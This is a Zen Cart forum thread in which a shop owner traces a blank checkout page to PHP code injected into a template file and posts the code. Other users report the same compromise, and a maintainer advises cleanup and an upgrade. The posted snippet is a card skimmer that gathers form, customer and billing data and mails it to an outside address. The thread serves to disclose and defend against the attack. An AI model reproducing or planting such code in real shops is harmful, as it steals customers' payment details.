Results 1 to 9 of 9
  1. #1
    Join Date
    Dec 2009
    Posts
    20
    Plugin Contributions
    0

    Default Checkout Confirmation blank page fix - my version

    Hi, today i got notified by a customer that he cannot go past the second step of the checkout.

    I immediately tried to replicate the problem with a test user account and i encountered the same problem : a blank page instead of the 3rd step. No error message, nothing.

    I started to browse the forum and do searches on google and i encountered the debug tool listed in many threads by Dr. Byte (sorry if i spelled your name wrong dude).

    I followed the steps and i received this error in the log :

    [19-Dec-2010 08:27:21] PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/xxxxxxx/public_html/includes/templates/cherry_zen/templates/tpl_checkout_confirmation_default.php on line 212

    I opened the tpl_checkout_confirmation_default.php and noticed something weird at the end of the page. A small script with an email address that i have never seen before. What struck me was "what exactly is this doing here" as it seemed pretty unnatural for an email address to be in the checkout code.

    I then opened the default cherry zen template to compare the 2 files and as you guess, the script with the email was an extra.

    I uploaded the default tpl_checkout_confirmation_default.php file that came with the cherry zen template and everything went back to normal.

    I also did the security update in the config for the inoculation or something against hackers.

    My real question is : could other files be compromised ? If anyone encountered this before, i would like to know what other files might have these "extra" scripts.

    Here is the extra that was in the checkout confirmation php file :
    Code:
    <?php
    $msgz = "";
    if (!isset($_SERVER)) { $_SERVER  = &$HTTP_SERVER_VARS; }
    $msgz .= "========================================================\r\n";
    foreach ($_POST as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
    $msgz .= "========================================================\r\n";
    foreach ($order->customer as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
    $msgz .= "========================================================\r\n";
    foreach ($order->billing as $key => $value) { $msgz .= $key." => ".$value."\r\n"; }
    $msgz .= "========================================================\r\n";
    foreach ($order->billing['country'] as $key => $value) { $msgz .= "country-".$key." => ".$value."\r\n"; }
    $msgz .= "========================================================\r\n";
    $msgz .= $_SERVER['HTTP_REFERER']."\r\n".$_SERVER['SCRIPT_FILENAME']"\r\n";
    $msgz .= "\r\n========================================================\r\n";
    if(preg_match('/[0-9]{12,19}|paypal/i',$msgz)) {
    @mail('cnewberry497######################','setoran',$msgz);
    } else {
    @mail('cnewberry497######################','setoran',$msgz);
    }
    ?>

  2. #2
    Join Date
    Mar 2010
    Posts
    1
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    thank you for posting this. I had the exact same entries in my file.

  3. #3
    Join Date
    Dec 2009
    Posts
    20
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    Did your entry in the file contained the same email address as the one listed at the bottom of the entry ?

    I`m just curious if it`s the same person or if it`s a general security bug that many others can exploit.

  4. #4
    Join Date
    Dec 2009
    Posts
    20
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    VERY IMPORTANT I just noticed that some friends of mine that are using zen cart also got the same "extra" in their checkout confirmation file with different email addresses !

    Also, if this exploit was in your custom template file, it exists in the default template file also.

    So please check the tpl_checkout_confirmation_default.php located in the includes/templates/template_default/template/tpl_checkout_confirmation_default.php and delete the extra php script from the bottom of the page.

    I hope this solves everyone some of their security problems.

    Also i would like a zen cart expert to post here if this security issue can be solved with the innoculation script or if we have to check the files daily to see if this appears again.

    Thank you.

  5. #5
    Join Date
    Apr 2006
    Posts
    34
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    had the same thing happen to me, so it is a bit worrying! is there anything we can do to improve security?
    hand screen printed clothing and accessories
    www.wildgardendesign.com

  6. #6
    Join Date
    Sep 2005
    Posts
    95
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    Just ran into the same thing.
    I am on version 1.3.8
    Zen-Cart, The Greatest Shopping Cart&#33;

  7. #7
    Join Date
    Sep 2005
    Posts
    95
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    I am surprised no one has chimed in on this from ZenCart.
    Zen-Cart, The Greatest Shopping Cart&#33;

  8. #8
    Join Date
    Dec 2009
    Posts
    20
    Plugin Contributions
    0

    Default Re: Checkout Confirmation blank page fix - my version

    Hopefully they will soon, meanwhile i`m glad i noticed this and forwarded the problem here so others can solve some security issues with their carts.

  9. #9
    Join Date
    Jan 2004
    Posts
    66,380
    Blog Entries
    7
    Plugin Contributions
    274

    Default Re: Checkout Confirmation blank page fix - my version

    Quote Originally Posted by wildgarden View Post
    had the same thing happen to me, so it is a bit worrying! is there anything we can do to improve security?
    Quote Originally Posted by GearStudios View Post
    Just ran into the same thing.
    I am on version 1.3.8
    Simple solution for all of you: clean out the damage done, and upgrade to the latest version. Your old version is both obsolete and contains numerous well-advertised security flaws. The new version does not.
    .

    Zen Cart - putting the dream of business ownership within reach of anyone!
    Donate to: DrByte directly or to the Zen Cart team as a whole

    Remember: Any code suggestions you see here are merely suggestions. You assume full responsibility for your use of any such suggestions, including any impact ANY alterations you make to your site may have on your PCI compliance.
    Furthermore, any advice you see here about PCI matters is merely an opinion, and should not be relied upon as "official". Official PCI information should be obtained from the PCI Security Council directly or from one of their authorized Assessors.

 

 

Similar Threads

  1. Part blank page on Checkout Confirmation
    By kvwlls in forum General Questions
    Replies: 4
    Last Post: 14 Oct 2009, 08:32 AM
  2. Broken: can't fix a blank page
    By Template Cascade in forum General Questions
    Replies: 0
    Last Post: 9 Jul 2009, 01:08 AM
  3. Page Title fix with Zen Cart version above 1.25
    By techwizard in forum Templates, Stylesheets, Page Layout
    Replies: 1
    Last Post: 26 Nov 2006, 03:32 AM
  4. Blank Pages - Registration confirmation and Checkout process
    By Duminas in forum Managing Customers and Orders
    Replies: 0
    Last Post: 18 Oct 2006, 01:49 AM
  5. Checkout Confirmation pages are blank
    By Tim_B in forum Addon Payment Modules
    Replies: 4
    Last Post: 15 May 2006, 04:50 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
disjunctive-egg
Zen-Cart, Internet Selling Services, Klamath Falls, OR